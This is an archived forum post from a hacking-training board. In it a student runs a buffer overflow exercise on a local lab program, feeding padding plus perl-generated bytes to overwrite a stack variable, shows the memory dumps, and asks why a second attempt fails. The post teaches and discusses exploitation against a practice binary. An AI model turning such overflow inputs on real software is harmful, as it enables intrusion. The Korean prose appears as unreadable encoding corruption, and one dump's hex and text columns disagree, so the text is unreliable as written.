|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=24060 [º¹»ç]
perl ¸í·É¾î
[student@localhost 15]$ ./training_2 AAAAAAAAAAAAAAAAAAAA`perl -e 'print "\x69\x7a"'`
0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffffb20 00 00 00 00 d2 04 00 00 ........
[*] BEFORE : the value of target is 1234
0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffb20 41 41 41 41 69 7a 00 00 AAAAiz..
[*] AFTER : the value of target is 31337
[student@localhost 15]$
Ä¡´Â ºÎºÐ¿¡¼¿ä
À§¿Í °°ÀÌ ¸í·É¾î¸¦ ÃÆ´Âµ¥
¿ÖÀÚ²Ù Àú´Â ¸í·É¾î°¡ ¸ÔÁú ¾Ê°í
[student@localhost 15]$ ./training_2 AAAAAAAAAAAAAAAAAAAA`perl -e 'print "\x69\x7a"'`
0xbffffb10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0xbffffb20 00 00 00 00 d2 04 00 00 ........
[*] BEFORE : the value of target is 1234
0xbffffb10 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0xbffffb20 41 41 41 41 69 7a 00 00 AAAApearl
[*] AFTER : the value of target is 1819436400
[student@localhost 15]$
À§¿Í °°ÀÌ ³ª¿À³ª¿ä??
´Ù¸¥ ºÐµéÀº Àß µÇ½Ã³ª¿ä?
Áö±Ý ·¹µåÇÞ ¸®´ª½º 6.2 »ç¿ëÁßÀÔ´Ï´Ù. ~!! |
Hit : 4744 Date : 2012/07/08 06:28
|